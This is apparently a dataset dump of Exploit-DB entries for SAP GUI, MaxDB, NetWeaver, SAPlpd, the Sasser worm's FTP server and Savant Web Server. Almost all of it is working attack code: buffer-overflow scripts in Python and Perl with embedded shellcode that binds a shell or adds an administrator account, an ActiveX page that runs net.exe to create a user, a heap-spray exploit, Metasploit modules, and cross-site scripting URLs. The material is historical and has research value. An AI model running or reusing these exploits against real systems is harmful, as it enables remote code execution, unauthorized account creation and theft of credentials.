deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11879
Description: SAP GUI 7.00 - BExGlobal Active-X unsecure method
Type: remote
Platform: windows
Date: 2010-03-25
Author: Alexey Sintsov

Exploit:
Security vulnerability found in SAP GUI 7.10 and BI 7.0 that allows operating system functions to be called remotely.

Application: SAP GUI
Versions Affected: SAP GUI (SAP GUI 7.1)
Vendor URL: http://SAP.com
Bugs: Insecure method. Code Execution.
Exploits: YES
Reported: 16.10.2009
Vendor response: 27.10.2009
Date of Public Advisory: 23.03.2010
Author: Alexey Sintsov from DSecRG

Description
***********

Insecure method was founded in SAPBExCommonResources (class BExGlobal) activeX control component which is a part of SAP GUI.
One of the methods (Execute) can be used to execute files on users system.



Details
*******

Attacker can construct html page which call vulnerable function "Execute" from ActiveX Object BExGlobal.



Example (add user 'don_huan' with password 'p4ssW0rd'):
*******


<html>
<title>*DSecRG* Add user *DSecRG*</title>
<object classid="clsid:A009C90D-814B-11D3-BA3E-080009D22344" id='DH'></object>

<script language='Javascript'>
function init()
{
DH.Execute("net.exe","user don_huan p4ssW0rd /add","d:\\windows\\",1,"",1);

}
init();
</script>
DSecRG
</html>



Fix Information
***************
All patches are available since December via note 1407285


References
**********

http://dsecrg.com/pages/vul/show.php?id=164
https://service.sap.com/sap/support/notes/1407285.




About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Exploit-DB #11661
Description: SAP GUI 7.10 - WebViewer3D Active-X JIT-Spray
Type: remote
Platform: windows
Date: 2010-03-09
Author: Alexey Sintsov

Exploit:
SAP GUI version 7.10 WebViewer3D Active-X JIT-Spray exploit
Author:	Alexey Sintsov
Homepage: http://www.dsec.ru/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11661.zip
Exploit-DB #11886
Description: SAP MaxDB - Malformed Handshake Request Remote Code Execution
Type: remote
Platform: windows
Date: 2010-03-26
Author: S2 Crew

Exploit:
#!/usr/bin/python

# Exploit title: SAP MaxDB Malformed Handshake Request Remote Code Execution
# Date: 2010.03.26
# Author: S2 Crew [Hungary]
# Software link: sap.com<http://sap.com>
# Version: 7.7.06.09
# Tested on: Windows XP SP2 EN
# CVE: ZDI-10-032
# Code:
#############################################################
# Trying 172.16.29.133...
# Connected to 172.16.29.133.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\sdb\data\wrk>
#############################################################

import socket
import sys
import os

sc = (
"\x31\xc9\xda\xda\xbe\x94\x3f\xbe\xea\xb1\x56\xd9\x74\x24\xf4"
"\x5f\x31\x77\x17\x03\x77\x17\x83\xef\xfc\x76\xca\x42\x02\xff"
"\x35\xbb\xd3\x9f\xbc\x5e\xe2\x8d\xdb\x2b\x57\x01\xaf\x7e\x54"
"\xea\xfd\x6a\xef\x9e\x29\x9c\x58\x14\x0c\x93\x59\x99\x90\x7f"
"\x99\xb8\x6c\x82\xce\x1a\x4c\x4d\x03\x5b\x89\xb0\xec\x09\x42"
"\xbe\x5f\xbd\xe7\x82\x63\xbc\x27\x89\xdc\xc6\x42\x4e\xa8\x7c"
"\x4c\x9f\x01\x0b\x06\x07\x29\x53\xb7\x36\xfe\x80\x8b\x71\x8b"
"\x72\x7f\x80\x5d\x4b\x80\xb2\xa1\x07\xbf\x7a\x2c\x56\x87\xbd"
"\xcf\x2d\xf3\xbd\x72\x35\xc0\xbc\xa8\xb0\xd5\x67\x3a\x62\x3e"
"\x99\xef\xf4\xb5\x95\x44\x73\x91\xb9\x5b\x50\xa9\xc6\xd0\x57"
"\x7e\x4f\xa2\x73\x5a\x0b\x70\x1a\xfb\xf1\xd7\x23\x1b\x5d\x87"
"\x81\x57\x4c\xdc\xb3\x35\x19\x11\x89\xc5\xd9\x3d\x9a\xb6\xeb"
"\xe2\x30\x51\x40\x6a\x9e\xa6\xa7\x41\x66\x38\x56\x6a\x96\x10"
"\x9d\x3e\xc6\x0a\x34\x3f\x8d\xca\xb9\xea\x01\x9b\x15\x45\xe1"
"\x4b\xd6\x35\x89\x81\xd9\x6a\xa9\xa9\x33\x1d\xee\x67\x67\x4d"
"\x98\x85\x97\x63\x04\x03\x71\xe9\xa4\x45\x29\x86\x06\xb2\xe2"
"\x31\x79\x90\x5e\xe9\xed\xac\x88\x2d\x12\x2d\x9f\x1d\xbf\x85"
"\x48\xd6\xd3\x11\x68\xe9\xfe\x31\xe3\xd1\x68\xcb\x9d\x90\x09"
"\xcc\xb7\x43\xaa\x5f\x5c\x94\xa5\x43\xcb\xc3\xe2\xb2\x02\x81"
"\x1e\xec\xbc\xb4\xe3\x68\x86\x7d\x3f\x49\x09\x7f\xb2\xf5\x2d"
"\x6f\x0a\xf5\x69\xdb\xc2\xa0\x27\xb5\xa4\x1a\x86\x6f\x7e\xf0"
"\x40\xf8\x07\x3a\x53\x7e\x08\x17\x25\x9e\xb8\xce\x70\xa0\x74"
"\x87\x74\xd9\x69\x37\x7a\x30\x2a\x47\x31\x19\x1a\xc0\x9c\xcb"
"\x1f\x8d\x1e\x26\x63\xa8\x9c\xc3\x1b\x4f\xbc\xa1\x1e\x0b\x7a"
"\x59\x52\x04\xef\x5d\xc1\x25\x3a\x57")

egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)

host = "172.16.29.133"
port =  7210

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

ret = "\x08\xf1\xa0\x00" # HC

packet = (
"\x63\x00\x00\x00\x03\x2f\x00\x00\x01\x00\x00\x00"
"\xff\xff\xff\xff\x00\x00\x04\x00\x63\x00\x00\x00"
"\x00\x02\x4b\x00\x04\x09\x00\x00\x44\x20\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff"
"\x6d\x61" + ret + "\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x07\x49" + "A"*5000 + "T00WT00W" + sc + "\x41" * 2500 + egghunter + "\x90"*2500)

s.send(packet)
s.close()
Exploit-DB #32879
Description: SAP MaxDB 7.4/7.6 - 'webdbm' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2009-03-31
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/34319/info

SAP MaxDB is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=[XSS]
http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&User=[XSS]
http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=&User=&Password=[XSS]
Exploit-DB #35001
Description: SAP NetWeaver 7.0 - SQL Monitor Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: windows
Date: 2010-11-17
Author: a.polyakov

Exploit:
source: https://www.securityfocus.com/bid/44904/info


The SQL Monitor of SAP NetWeaver is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com:50100/OpenSQLMonitors/servlet/ConnectionMonitorServlet?view=stmtpool&node=12924950&ds=SAPSR3DB&connid
=com.sap.sql.jdbc.direct.DirectPooledConnection@1ed00a7<script>alert(document.cookie)</script>

http://www.example.com:50100/OpenSQLMonitors/servlet/CatalogBufferMonitorServlet?action=btnSHOW_COLUMNS&reqNode=12924950&reqBufferId=
SAPSERVER:dm0:SAPSR3DB&reqTableColumns=BC_RPROF_PROFILE<script>alert(document.cookie)</script>
Exploit-DB #14416
Description: SapGUI BI 7100.1.400.8 - Heap Corruption
Type: remote
Platform: windows
Date: 2010-07-20
Author: Elazar Broad

Exploit:
<!-- 

Product: SapGUI BI
File: c:\program files\sap\business explorer\bi\wadmxhtml.dl
Version: 7100.1.400.8
ClassID: 30DD068D-5AD9-434C-AAAC-46ABE37194EB
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  
KillBitSet: False

Vulnerable Property: Tags
-->
<html>
 <head>
  <title></title>
  <script language="JavaScript" defer>

    var buf = '';
    while (buf.length < 64) buf += unescape("%u0a05");


    function Check() {
	
	// windows/exec - 557 bytes
	// http://www.metasploit.com
	// Encoder: x86/alpha_mixed
	// EXITFUNC=process, CMD=c:\\windows\\system32\\calc.exe
	var shellcode = unescape("%uc2dd%uc92b%u38b1%u4fba%uc033%ud9a3%u2474%u5ef4%u5631%u031a%u1a56%uc683%ue204%ucfba%u2a28%u3044%u4da9%ud5cd%u5f98%u9ea9%u6f89%uf3ba%u1b21%ue7ee%u69b2%u0726%uc772%u2610%ue983%ue49c%u6b47%uf760%u4b9b%u3859%u8aee%u259e%ude01%u2177%ucfb0%u77fc%uf109%uf3d2%u8931%uc357%u23c6%u1456%u3f76%u8c10%u67fc%uad80%u7bd1%ue4fc%u4f5e%uf777%u81b6%uc978%u4ef6%ue547%u8ffa%uc280%ue5e4%u30fa%ufd98%u4a39%u8b46%uecdf%u2b0d%u0c3b%uaac1%u02c8%ub9ae%u0696%u6d31%u33ad%u90ba%ub261%ub6f8%u9ea5%ud65b%u7afc%ue70d%u221e%u4df2%uc155%uf4e7%u8c34%u75f6%ue943%u85f9%u5a4b%ub492%u35c0%u48e5%u7203%u0319%ud309%ucab2%u61d8%uecdf%ua537%u6ee6%u56bd%u6e1d%u53b4%u2859%u2e25%uddf2%u9d49%uf7f3%u1b2a%ua450%u32db%u3006%ub24c%ue4a5%u4fce%u6633%uca9a%ubbae%u4950%udf6d%u1df5%u31ee%ua590%u4d95"); 	
	
	var bigblock = unescape("%u0c0c");
	var headersize = 20;
	var slackspace = headersize + shellcode.length;
	while (bigblock.length < slackspace) bigblock += bigblock;
	var fillblock = bigblock.substring(0,slackspace);
	var block = bigblock.substring(0,bigblock.length - slackspace);
	while (block.length + slackspace < 0x40000) block = block + block + fillblock;

	
	var memory = new Array();
	for (i = 0; i < 550; i++){ memory[i] = block + shellcode; }
			
	var jmpblock = buf.substring(0, 32);

	var a = new Array();
	
	for (i = 0; i < 512; i++) {
		obj.Tags = jmpblock.substring(0, jmpblock.length);
		a[i] = obj.Tags.substring(0, obj.Tags.length);
		obj.Tags = '';
		a[i] += jmpblock;
	}	

}



   </script>
  </head>

 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:30DD068D-5AD9-434c-AAAC-46ABE37194EB">
		Unable to create object
	</object>



 </body>
</html>
Exploit-DB #16338
Description: SapLPD 6.28 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: saplpd.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SAP SAPLPD 6.28 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .
				By sending an overly long argument, an attacker may be able to execute arbitrary
				code.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-0621' ],
					[ 'OSVDB', '41127' ],
					[ 'BID', '27613' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SAPlpd 6.28.0.1 (SAP Release 6.40)',   { 'Ret' => 0x005e72d7 } ], #SAPlpd.exe 3/7/2006
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Feb 4 2008',
			'DefaultTarget'  => 0))

		register_options([Opt::RPORT(515)], self)
	end

	def exploit
		connect

		sploit =  "\x02"
		sploit << rand_text_alpha_upper(484 - payload.encoded.length)
		sploit << payload.encoded
		sploit << [target.ret].pack('V')
		sploit << [0xe9, -375].pack('CV')

		print_status("Trying target #{target.name}...")

		sock.puts(sploit)

		handler
		disconnect
	end
end
Exploit-DB #16727
Description: Sasser Worm avserve - FTP PORT Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: sasser_ftpd_port.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Sasser Worm avserve FTP PORT Buffer Overflow',
			'Description'	=> %q{
					This module exploits the FTP server component of the Sasser worm.
				By sending an overly long PORT command the stack can be overwritten.
			},
			'Author'	=> [ 'valsmith [at] metasploit.com>', 'chamuco [at] gmail.com>', 'patrick' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'	=> MSF_LICENSE,
			'Version'	=> '$Revision: 9179 $',
			'References'	=>
				[
					[ 'OSVDB', '6197'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Platform' 	=> ['win'],
			'Privileged'	=> false,
			'Payload'	=>
				{
					'Space'			=> 480,
					'BadChars'		=> "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment'	=> -3500,
				},
			'Targets' 	=>
			[
				[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll
				[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r
			],
			'DisclosureDate' => 'May 10 2004',
			'DefaultTarget' => 1))

		register_options(
			[
				Opt::RPORT(5554),
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
		sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)

		send_cmd( ['PORT', sploit] , false)

		handler
		disconnect
	end

end
Exploit-DB #819
Description: Savant Web Server 3.1 (French Windows)- Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2005-02-15
Author: Jerome Athias

Exploit:
#########################################################
#                                                       #
# Savant web server Buffer Overflow Exploit             #
# Discovered by : Mati Aharoni                          #
# Coded by : Tal Zeltzer and Mati Aharoni               #
# www.see-security.com                                  #
# FOR RESEACRH PURPOSES ONLY!                           #
# FRench Win OS support by Jerome Athias                #
#########################################################
import struct
import socket
sc = "\x90" * 21	#We need this number of nops
# win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub http://metasploit.com
sc += "\x31\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
sc += "\x23\x73\xe4\x83\xeb\xfc\xe2\xf4\x24\xcb\x35\xe4\xd8\x23\xf8\xa1"
sc += "\xe4\xa8\x0f\xe1\xa0\x22\x9c\x6f\x97\x3b\xf8\xbb\xf8\x22\x98\x07"
sc += "\xf6\x6a\xf8\xd0\x53\x22\x9d\xd5\x18\xba\xdf\x60\x18\x57\x74\x25"
sc += "\x12\x2e\x72\x26\x33\xd7\x48\xb0\xfc\x27\x06\x07\x53\x7c\x57\xe5"
sc += "\x33\x45\xf8\xe8\x93\xa8\x2c\xf8\xd9\xc8\xf8\xf8\x53\x22\x98\x6d"
sc += "\x84\x07\x77\x27\xe9\xe3\x17\x6f\x98\x13\xf6\x24\xa0\x2c\xf8\xa4"
sc += "\xd4\xa8\x03\xf8\x75\xa8\x1b\xec\x31\x28\x73\xe4\xd8\xa8\x33\xd0"
sc += "\xdd\x5f\x73\xe4\xd8\xa8\x1b\xd8\x87\x12\x85\x84\x8e\xc8\x7e\x8c"
sc += "\x37\xed\x93\x84\xb0\xbb\x8d\x6e\xd6\x74\x8c\x03\x30\xcd\x8c\x1b"
sc += "\x27\x40\x1e\x80\xf6\x46\x0b\x81\xf8\x0c\x10\xc4\xb6\x46\x07\xc4"
sc += "\xad\x50\x16\x96\xf8\x7b\x53\x94\xaf\x47\x53\xcb\x99\x67\x37\xc4"
sc += "\xfe\x05\x53\x8a\xbd\x57\x53\x88\xb7\x40\x12\x88\xbf\x51\x1c\x91"
sc += "\xa8\x03\x32\x80\xb5\x4a\x1d\x8d\xab\x57\x01\x85\xac\x4c\x01\x97"
sc += "\xf8\x7b\x53\xcb\x99\x67\x37\xe4";
sc += "AA"
# Win2k SP0,1,2,3,4 (US...)
#Change Return address as needed
#buf = "\xEB\x19" + " /" + sc + struct.pack("<L",0x750236b2) + "\r\n\r\n"

#0x74FA2AC4		pop esi - pop - ret	ws2help.dll	Win 2K SP4 FR (Found with findjmp2 by Class101 ;)
#buf = "\x90" * 24 + " /" + sc + struct.pack("<L",0x74fa2ac5) + "\r\n\r\n"	#EB becomes CB...? so i changed it by nops

#Win XP SP2 FR?
#0x719E260D		pop esi - pop - ret	ws2help.dll	Win XP SP2 FR (Found with findjmp2 by Class101 ;)
#buf = "\x90" * 24 + " /" + sc + struct.pack("<L",0x719e260e) + "\r\n\r\n"	#EB becomes CB...? so i changed it by nops


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',80))
s.send(buf)
s.close()

# milw0rm.com [2005-02-15]
Exploit-DB #22944
Description: Savant Web Server 3.1 - CGITest.HTML Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-07-21
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/8242/info

cgitest.html has been reported prone to cross-site scripting attacks. The issue occurs due to a lack of sufficient sanitization performed on data supplied to the cgitest.html script.

This issue could be exploited to cause hostile HTML and script code to be rendered in the browser of a user who is enticed to visit a malicious link to the vulnerable script.

http://www.example.com/cgitest.html?<script>wi ndow.location="/cgi-bin/cgitest.exe?|<blahblah>%00";</script>

http://www.example.com/cgitest.html?<script>(document.cookie)</script>
Exploit-DB #21794
Description: Savant Web Server 3.1 - File Disclosure
Type: remote
Platform: windows
Date: 2002-09-13
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5709/info

Savant Webserver is vulnerable to an input validation bug, that could allow malicious users access to password protected folders. 

It should be noted that versions below 3.1 may also be vulnerable to this issue.

http://host/password_folder.
"GET /password_folder / HTTP/1.0" <-- use with telnet
http://host/password_folder%2e
http://host/password_folder%20
Exploit-DB #4280
Description: Savant Web Server 3.1 - GET Universal Remote Overflow
Type: remote
Platform: windows
Date: 2007-08-12
Author: Jacopo Cervini

Exploit:
#!/usr/bin/perl -w
# exploit for Savant webserver 3.1 remote bof
# shellcode bind 4444 port on target host
# 
#
# Jacopo cervini aka acaro@jervus.it
#
use IO::Socket;

if(!($ARGV[1]))
{
 print "Uso: savant-3.1.pl <victim> <port>\n\n";
 exit;
}





$victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                        or die "can't connect on $ARGV[0] sulla porta $ARGV[1]";

#Metasploit shellcode

$shellcode = 
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb5".
"\x55\x45\xd4\x83\xeb\xfc\xe2\xf4\x49\x3f\xae\x99\x5d\xac\xba\x2b".
"\x4a\x35\xce\xb8\x91\x71\xce\x91\x89\xde\x39\xd1\xcd\x54\xaa\x5f".
"\xfa\x4d\xce\x8b\x95\x54\xae\x9d\x3e\x61\xce\xd5\x5b\x64\x85\x4d".
"\x19\xd1\x85\xa0\xb2\x94\x8f\xd9\xb4\x97\xae\x20\x8e\x01\x61\xfc".
"\xc0\xb0\xce\x8b\x91\x54\xae\xb2\x3e\x59\x0e\x5f\xea\x49\x44\x3f".
"\xb6\x79\xce\x5d\xd9\x71\x59\xb5\x76\x64\x9e\xb0\x3e\x16\x75\x5f".
"\xf5\x59\xce\xa4\xa9\xf8\xce\x94\xbd\x0b\x2d\x5a\xfb\x5b\xa9\x84".
"\x4a\x83\x23\x87\xd3\x3d\x76\xe6\xdd\x22\x36\xe6\xea\x01\xba\x04".
"\xdd\x9e\xa8\x28\x8e\x05\xba\x02\xea\xdc\xa0\xb2\x34\xb8\x4d\xd6".
"\xe0\x3f\x47\x2b\x65\x3d\x9c\xdd\x40\xf8\x12\x2b\x63\x06\x16\x87".
"\xe6\x06\x06\x87\xf6\x06\xba\x04\xd3\x3d\x54\x88\xd3\x06\xcc\x35".
"\x20\x3d\xe1\xce\xc5\x92\x12\x2b\x63\x3f\x55\x85\xe0\xaa\x95\xbc".
"\x11\xf8\x6b\x3d\xe2\xaa\x93\x87\xe0\xaa\x95\xbc\x50\x1c\xc3\x9d".
"\xe2\xaa\x93\x84\xe1\x01\x10\x2b\x65\xc6\x2d\x33\xcc\x93\x3c\x83".
"\x4a\x83\x10\x2b\x65\x33\x2f\xb0\xd3\x3d\x26\xb9\x3c\xb0\x2f\x84".
"\xec\x7c\x89\x5d\x52\x3f\x01\x5d\x57\x64\x85\x27\x1f\xab\x07\xf9".
"\x4b\x17\x69\x47\x38\x2f\x7d\x7f\x1e\xfe\x2d\xa6\x4b\xe6\x53\x2b".
"\xc0\x11\xba\x02\xee\x02\x17\x85\xe4\x04\x2f\xd5\xe4\x04\x10\x85".
"\x4a\x85\x2d\x79\x6c\x50\x8b\x87\x4a\x83\x2f\x2b\x4a\x62\xba\x04".
"\x3e\x02\xb9\x57\x71\x31\xba\x02\xe7\xaa\x95\xbc\x45\xdf\x41\x8b".
"\xe6\xaa\x93\x2b\x65\x55\x45\xd4";





$nop="\x90"x201;
$incbh="\xfe\xc7"x4;			# inc bh opcode
$incebx="\x43"x23;			# inc ebx opcode
$asm1 = "\x53\xc3";			# push ebx,ret opcode
$nop1="\x90"x19;
$asm = "\x83\xc4\x8c\x54\xc3";		# add esp,-74,pueh esp,ret for jump in $nop without a direct jmp because there are 						# some opcode not allowed and we have need of space for our shellcode 
$nop2="\x90"x210;


$eip = "\x74\x86\x41";			# 0x00418674 memory address of pop eax, ret in Savant.exe it's universal

$exploit = $asm.  " /". $nop.$incbh.$incebx .$asm1.$nop1. $eip ."\r\n\r\n" .$nop2.$shellcode;

print $victim $exploit;

print " + Malicious GET request sent ...\n";


print "Done.\n";


close($victim);

$host = $ARGV[0];
print " + connect to 4444 of $host ...\n";
sleep(3);
system("telnet $host 4444");

exit;

# milw0rm.com [2007-08-12]
Exploit-DB #781
Description: Savant Web Server 3.1 - Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2005-02-01
Author: Tal Zeltzer

Exploit:
#########################################################
#                                                       #
# Savant web server Buffer Overflow Exploit             #
# Discovered by : Mati Aharoni                          #
# Coded by : Tal Zeltzer and Mati Aharoni               #
# www.see-security.com                                  #
# FOR RESEACRH PURPOSES ONLY!                           #
#########################################################
import struct
import socket
sc = "\x90" * 21
# win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub http://metasploit.com
sc += "\x31\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
sc += "\x23\x73\xe4\x83\xeb\xfc\xe2\xf4\x24\xcb\x35\xe4\xd8\x23\xf8\xa1"
sc += "\xe4\xa8\x0f\xe1\xa0\x22\x9c\x6f\x97\x3b\xf8\xbb\xf8\x22\x98\x07"
sc += "\xf6\x6a\xf8\xd0\x53\x22\x9d\xd5\x18\xba\xdf\x60\x18\x57\x74\x25"
sc += "\x12\x2e\x72\x26\x33\xd7\x48\xb0\xfc\x27\x06\x07\x53\x7c\x57\xe5"
sc += "\x33\x45\xf8\xe8\x93\xa8\x2c\xf8\xd9\xc8\xf8\xf8\x53\x22\x98\x6d"
sc += "\x84\x07\x77\x27\xe9\xe3\x17\x6f\x98\x13\xf6\x24\xa0\x2c\xf8\xa4"
sc += "\xd4\xa8\x03\xf8\x75\xa8\x1b\xec\x31\x28\x73\xe4\xd8\xa8\x33\xd0"
sc += "\xdd\x5f\x73\xe4\xd8\xa8\x1b\xd8\x87\x12\x85\x84\x8e\xc8\x7e\x8c"
sc += "\x37\xed\x93\x84\xb0\xbb\x8d\x6e\xd6\x74\x8c\x03\x30\xcd\x8c\x1b"
sc += "\x27\x40\x1e\x80\xf6\x46\x0b\x81\xf8\x0c\x10\xc4\xb6\x46\x07\xc4"
sc += "\xad\x50\x16\x96\xf8\x7b\x53\x94\xaf\x47\x53\xcb\x99\x67\x37\xc4"
sc += "\xfe\x05\x53\x8a\xbd\x57\x53\x88\xb7\x40\x12\x88\xbf\x51\x1c\x91"
sc += "\xa8\x03\x32\x80\xb5\x4a\x1d\x8d\xab\x57\x01\x85\xac\x4c\x01\x97"
sc += "\xf8\x7b\x53\xcb\x99\x67\x37\xe4";
sc += "AA"
# Win2k SP0,1,2,3,4
#Change Return address as needed
buf = "\xEB\x19" + " /" + sc + struct.pack("<L",0x750236b2) + "\r\n\r\n"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',80))
s.send(buf)
s.close()

# milw0rm.com [2005-02-01]